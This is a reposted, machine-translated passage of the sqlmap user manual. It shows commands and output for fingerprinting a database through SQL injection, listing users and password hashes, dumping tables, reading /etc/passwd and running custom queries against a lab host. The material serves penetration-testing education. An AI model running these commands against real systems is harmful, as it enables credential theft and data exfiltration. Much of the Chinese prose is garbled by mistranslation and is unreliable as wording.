分享

SQLMAP 注射工具用法(B)

 londonKu 2012-03-26

SQLMAP 注射工具用法(A)

如果您想要一个更加准确数据库指印, 并且根据横幅解析, 您能并且提供 -b 或 --banner 选择:


$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -f -b

[...]
[hh:mm:45] [INFO] testing MySQL
[hh:mm:45] [INFO] query: CONCAT('4', '4')
[hh:mm:45] [INFO] retrieved: 44
[hh:mm:45] [INFO] performed 20 queries in 0 seconds
[hh:mm:45] [INFO] confirming MySQL
[hh:mm:45] [INFO] query: LENGTH('4')
[hh:mm:45] [INFO] retrieved: 1
[hh:mm:45] [INFO] performed 13 queries in 0 seconds
[hh:mm:45] [INFO] query: SELECT 4 FROM information_schema.TABLES LIMIT 0, 1
[hh:mm:45] [INFO] retrieved: 4
[hh:mm:45] [INFO] performed 13 queries in 0 seconds
[hh:mm:45] [INFO] query: DATABASE()
[hh:mm:45] [INFO] retrieved: testdb
[hh:mm:45] [INFO] performed 48 queries in 0 seconds
[hh:mm:45] [INFO] query: SCHEMA()
[hh:mm:45] [INFO] retrieved: testdb
[hh:mm:46] [INFO] performed 48 queries in 0 seconds
[hh:mm:46] [INFO] query: SELECT 4 FROM information_schema.PARTITIONS LIMIT 0, 1
[hh:mm:46] [INFO] retrieved:
[hh:mm:46] [INFO] performed 6 queries in 0 seconds
[hh:mm:46] [INFO] query: VERSION()
[hh:mm:46] [INFO] retrieved: 5.0.38-Ubuntu_0ubuntu1.1-log
[hh:mm:47] [INFO] performed 202 queries in 0 seconds
[hh:mm:47] [INFO] executing MySQL comment injection fingerprint
[hh:mm:47] [INFO] executing passive fuzzing to retrieve DBMS error messages
remote DBMS:    active fingerprint: MySQL >= 5.0.2 and < 5.1
                comment injection fingerprint: MySQL 5.0.38
                banner parsing fingerprint: MySQL 5.0.38, logging enabled
                html error message fingerprint: MySQL
[...]


2.16 横幅
命令行选择: -b 或 --banner

大多数据库有一个作用或显示数据库managemet 系统版本细节的一个系统变量。通常这个作用是 version() 或系统变量叫 @@version。


$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -b

banner:    '5.0.38-Ubuntu_0ubuntu1.1-log'


2.17 当前的用户
命令行选择: --current-user

它是可能列举有效地执行询问在数据库从网应用数据库管理系统用户的名字:


$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --current-user

current user:   'testuser@%'


2.18 当前的数据库
命令行选择: --current-db

它是可能列举网应用被连接对数据库的名字:


$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --current-db

current database:       'testdb'


2.19 数据库用户
命令行选择: --users

它是可能列举数据库管理系统用户名单:


$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --users

database management system users [5]:
[*] 'debian-sys-maint'@'localhost'
[*] 'root'@'127.0.0.1'
[*] 'root'@'leboyer'
[*] 'root'@'localhost'
[*] 'testuser'@'localhost'


2.20 数据库用户密码hashes
命令行选择: --passwords

它是可能列举密码hashes 的数据库管理系统用户名单:


$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --passwords

database management system users password hashes:
[*] debian-sys-maint [1]:
    password hash: *XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
[*] root [1]:
    password hash: *YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY
[*] testuser [1]:
    password hash: *ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ


2.21 可利用的数据库
命令行选择: --dbs

它是可能列举数据库名单:


$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --dbs

available databases [3]:
[*] information_schema
[*] mysql
[*] testdb


2.22 数据库桌
命令行选择: --tables

它是可能列举桌名单为一个具体数据库或为整个数据库manangement 系统(在MySQL 、PostgreSQL 和Oracle) 。选择 -D 可能使用指定数据库名称。

列举, 例如, 数据库桌 information_schema 跑以下命令:


$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --tables -D "information_schema"

Database: information_schema
[16 tables]
+---------------------------------------+
| CHARACTER_SETS                        |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLLATIONS                            |
| COLUMN_PRIVILEGES                     |
| COLUMNS                               |
| KEY_COLUMN_USAGE                      |
| ROUTINES                              |
| SCHEMA_PRIVILEGES                     |
| SCHEMATA                              |
| STATISTICS                            |
| TABLE_CONSTRAINTS                     |
| TABLE_PRIVILEGES                      |
| TABLES                                |
| TRIGGERS                              |
| USER_PRIVILEGES                       |
| VIEWS                                 |
+---------------------------------------+


2.23 数据库桌专栏
命令行选择: --columns

它是可能列举一张具体数据库桌的专栏名单。这个特点依靠 -T 指定桌名字和 -D 指定数据库名称。

列举, 例如, 桌 user 专栏在数据库 mysql 跑以下命令:


$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --columns -T "user" -D "mysql"

Database: mysql
Table: user
[37 columns]
+-----------------------+------+
| Column                | Type |
+-----------------------+------+
| Alter_priv            | enum |
| Alter_routine_priv    | enum |
| Create_priv           | enum |
| Create_routine_priv   | enum |
| Create_tmp_table_priv | enum |
| Create_user_priv      | enum |
| Create_view_priv      | enum |
| Delete_priv           | enum |
| Drop_priv             | enum |
| Execute_priv          | enum |
| File_priv             | enum |
| Grant_priv            | enum |
| Host                  | char |
| Index_priv            | enum |
| Insert_priv           | enum |
| Lock_tables_priv      | enum |
| max_connections       | int  |
| max_questions         | int  |
| max_updates           | int  |
| max_user_connections  | int  |
| Password              | char |
| Process_priv          | enum |
| References_priv       | enum |
| Reload_priv           | enum |
| Repl_client_priv      | enum |
| Repl_slave_priv       | enum |
| Select_priv           | enum |
| Show_db_priv          | enum |
| Show_view_priv        | enum |
| Shutdown_priv         | enum |
| ssl_cipher            | blob |
| ssl_type              | enum |
| Super_priv            | enum |
| Update_priv           | enum |
| User                  | char |
| x509_issuer           | blob |
| x509_subject          | blob |
+-----------------------+------+


2.24 倾销数据库桌词条
命令行选择: --dump

它是可能列举具体数据库桌专栏词条。这个特点依靠 -T 指定桌名字和 -D 指定数据库名称。它任意地是可能提供具体专栏逗号被分离的名单以 -C 选择。

列举, 例如, 数据库桌词条 users testdb 跑以下命令:


$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --dump -T "users" -D "testdb"

Database: testdb
Table: users
[3 entries]
+----+--------+---------+
| id | name   | surname |
+----+--------+---------+
| 1  | luther | blisset |
| 3  | fluffy | bunny   |
| 2  | wu     | ming    |
+----+--------+---------+


如果您想要列举唯一在专栏之内词条 id 和 surname 同样数据库桌(testdb.users 跑以下命令:


$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --dump -T "users" -D "testdb" -C "id,surname"

Database: testdb
Table: users
[3 entries]
+----+---------+
| id | surname |
+----+---------+
| 1  | blisset |
| 2  | ming    |
| 3  | bunny   |
+----+---------+


注意sqlmap 并且存放为各张桌被倾销的词条在CSV 格式在文本文件入' /csv/' 目录:


$ cat ./csv/192.168.1.47/testdb/users.csv
"id","surname"
"1","blisset"
"2","ming"
"3","bunny"


2.25 倾销整个DBMS
命令行选择: --dump-all

它是可能列举整个DBMS 数据: 所有数据库桌词条。


$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --dump-all


排除系统数据库
如果您想要排除DBMS 缺省系统数据库并且添附 --exclude-sysdbs 对命令行如下:


$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 --dump-all --exclude-sysdbs

[...]
[hh:mm:54] [INFO] fetching database names
[...]
[hh:mm:55] [INFO] skipping system database 'information_schema'
[hh:mm:55] [INFO] skipping system database 'mysql'
[hh:mm:55] [INFO] fetching number of tables for database 'testdb'
Database: testdb
Table: users
[3 entries]
+----+--------+---------+
| id | name   | surname |
+----+--------+---------+
| 1  | luther | blisset |
| 2  | wu     | ming    |
| 3  | fluffy | bunny   |
+----+--------+---------+


2.26 检索文件内容
命令行选择: --file

它是可能读一个具体文件的内容从遥远的数据库系统文件系统如果有DBMS 作用进行这样的行动并且当前的用户得以进入对它的, 例如MySQL 有 LOAD_FILE() 作用。

如果您想要检索奔跑内容 /etc/passwd 以下命令:


$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --file /etc/passwd

/etc/passwd:
---
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/false
backup:x:34:34:backup:/var/backups:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
mysql:x:104:105:MySQL Server,,,:/var/lib/mysql:/bin/false
postgres:x:105:107:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
inquis:x:1000:100:Bernardo Damele,,,:/home/inquis:/bin/bash
---


2.27 处理您自己的表示
命令行选择: -e

它是可能提供您自己的SQL 询问以 -e 参量被执行。例如, 如果您想要得到' 根' 用户名的密码回锅碎肉在一个遥远的MySQL 数据库您能跑:


$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -e "SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1"

[hh:mm:18] [INFO] fetching expression output: 'SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1'
[hh:mm:18] [INFO] query: SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1
[hh:mm:18] [INFO] retrieved: YYYYYYYYYYYYYYYY
[hh:mm:19] [INFO] performed 118 queries in 0 seconds
SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1:    'YYYYYYYYYYYYYYYY'


2.28 检查联合询问SQL 射入
命令行选择: --union-check

它是可能检查如果目标URL 由一个( inband SQL injection 读以上为细节) 弱点影响由跑:


$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --union-check

valid union:    'http://192.168.1.47/page.php?id=1 UNION ALL SELECT NULL, NULL, NULL--&cat=2'


目标URL 参量也许 id 通过inband SQL 射入, 亦称联合询问SQL 射入并且在这种情况下影响。如果这个弱点是可开采的您能使用它保存很多时间和请求得到任何询问输出。读下段为细节。

2.29 利用联合询问SQL 射入
命令行选择: --union-use

提供 --union-use 参量, sqlmap 首先将检查如果目标URL 由一个inband SQL 射入()--union-check弱点影响然后, 如果它是脆弱和可开采的, 它将触发这个弱点检索您的询问产品。

例如如果您想要利用联合询问SQL 射入检索DBMS 横幅, 以只一个唯一HTTP 请求跑以下命令:


$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 --union-use --banner

[...]
[hh:mm:24] [INFO] testing inband sql injection on parameter 'id'
[hh:mm:24] [INFO] the target url could be affected by an inband sql injection vulnerability
[hh:mm:24] [INFO] confirming inband sql injection on parameter 'id'
[...]
[hh:mm:24] [INFO] fetching banner
[hh:mm:24] [INFO] request: http://192.168.1.47/page.php?id=1 UNION ALL SELECT CONCAT(CHAR(95,95,83,84,65,82,84,95,95), VERSION(), CHAR(95,95,83,84,79,80,95,95)), NULL, NULL--&cat=2
[hh:mm:24] [INFO] performed 1 queries in 0 seconds
banner:    '5.0.38-Ubuntu_0ubuntu1.1-log'


如同您能看, 在我们的情节, SQL 射入脆弱的参量(id) 由窗帘和inband SQL 射入弱点影响。

2.30 估计的到达时间
命令行选择: --eta

如果您要sqlmap 计算并且显示估计的到达时间各次询问输出在实时当进行SQL 射入攻击, 请提供 --eta 命令行选择。

例如, 我们得到遥远的DBMS 横幅计算ETA:


$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --banner --eta

37% [====================>                                     ] 9/26  ETA 00:01


然后:


100% [==========================================================] 26/26
banner:    '5.0.38-Ubuntu_0ubuntu1.1-log'


2.31 之外所有数据被检索在文本文件
命令行选择: -o

它是可能采伐所有询问和他们的产品在文本文件当执行任何请求, 在盲目的SQL 射入和inband SQL 射入。这是有用的如果您必须停止射入和恢复它在某个时候以后以 --resume 选择。

例如我们想要检索遥远的DBMS 横幅和保存它的价值在文本文件:


$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -b -o "sqlmap.log"

[...]
[hh:mm:09] [INFO] fetching banner
[hh:mm:09] [INFO] query: VERSION()
[hh:mm:09] [INFO] retrieved: 5.0.30-Debian_3-log
[hh:mm:11] [INFO] performed 139 queries in 1 seconds
banner:    '5.0.38-Ubuntu_0ubuntu1.1-log'


现在如果您看一看在文件 sqlmap.log 您将看某事象这样:


$ cat ./sqlmap.log

[hh:mm:07 MM/DD/YY]
http://192.168.1.47/page.php?id=1&cat=2][CONCAT('6', '6')][66
http://192.168.1.47/page.php?id=1&cat=2][LENGTH('6')][1
http://192.168.1.47/page.php?id=1&cat=2][SELECT 6 FROM information_schema.tables LIMIT 0, 1][6
http://192.168.1.47/page.php?id=1&cat=2][VERSION()][5.0.38-Ubuntu_0ubuntu1.1-log


如同您能看, 所有询问执行和他们的产品被采伐了对文件。

2.32 简历询问价值从文本文件
命令行选择: -r 或 --resume

这个选择取决于采伐的功能(-o) 因为您必须提供文本文件对简历询问从。

假设例如您有入文件 sqlmap.log 某事象这样:


$ cat ./sqlmap.log

[hh:mm:07 MM/DD/YY]
http://192.168.1.47/page.php?id=1&cat=2][CONCAT('6', '6')][66
http://192.168.1.47/page.php?id=1&cat=2][LENGTH('6')][1
http://192.168.1.47/page.php?id=1&cat=2][SELECT 6 FROM information_schema.tables LIMIT 0, 1][6
http://192.168.1.47/page.php?id=1&cat=2][VERSION()][5.0.45-Deb


如果您想要恢复遥远的DBMS 横幅价值, 正义用途 --resume 如下:


$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 --banner -o "sqlmap.log" --resume

[...]
[hh:mm:13] [INFO] fetching banner
[hh:mm:13] [INFO] query: VERSION()
[hh:mm:13] [INFO] retrieved the length of query: 26
[hh:mm:13] [INFO] resumed from file 'sqlmap.log': 5.0.45-Deb
[hh:mm:13] [INFO] retrieved: ian_1ubuntu3-log
banner:    '5.0.45-Debian_1ubuntu3-log'


如同您能看, sqlmap 第一次检索了横幅询问产品长度, 它然后检索了唯一询问和看您将看某事象这样的记录文件的缺掉部份:


$ cat ./sqlmap.log

[hh:mm:07 MM/DD/YY]
http://192.168.1.47/page.php?id=1&cat=2][CONCAT('6', '6')][66
http://192.168.1.47/page.php?id=1&cat=2][LENGTH('6')][1
http://192.168.1.47/page.php?id=1&cat=2][SELECT 6 FROM information_schema.tables LIMIT 0, 1][6
http://192.168.1.47/page.php?id=1&cat=2][VERSION()][5.0.45-Deb

[hh:mm:11 MM/DD/YY]
http://192.168.1.47/page.php?id=1&cat=2][CONCAT('3', '3')][33
http://192.168.1.47/page.php?id=1&cat=2][LENGTH('3')][1
http://192.168.1.47/page.php?id=1&cat=2][SELECT 3 FROM information_schema.tables LIMIT 0, 1][3
http://192.168.1.47/page.php?id=1&cat=2][VERSION()][5.0.45-Debian_1ubuntu3-log


如果您现在执行同样请求, sqlmap 将恢复整个询问输出从文件, 因为它的被采伐的长度是同样遥远的DBMS 横幅长度:


$ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 --banner -o "sqlmap.log" --resume

[...]
[hh:mm:45] [INFO] fetching banner
[hh:mm:45] [INFO] query: VERSION()
[hh:mm:45] [INFO] retrieved the length of query: 26
[hh:mm:46] [INFO] read from file 'sqlmap.log': 5.0.45-Debian_1ubuntu3-log
banner:    '5.0.45-Debian_1ubuntu3-log'


3 。 参考

Books and guides

 

 

White papers, slides and cheat sheets

 

 

Sites

 

    本站是提供个人知识管理的网络存储空间,所有内容均由用户发布,不代表本站观点。请注意甄别内容中的联系方式、诱导购买等信息,谨防诈骗。如发现有害或侵权内容,请点击一键举报。
    转藏 分享 献花(0

    0条评论

    发表

    请遵守用户 评论公约

    类似文章 更多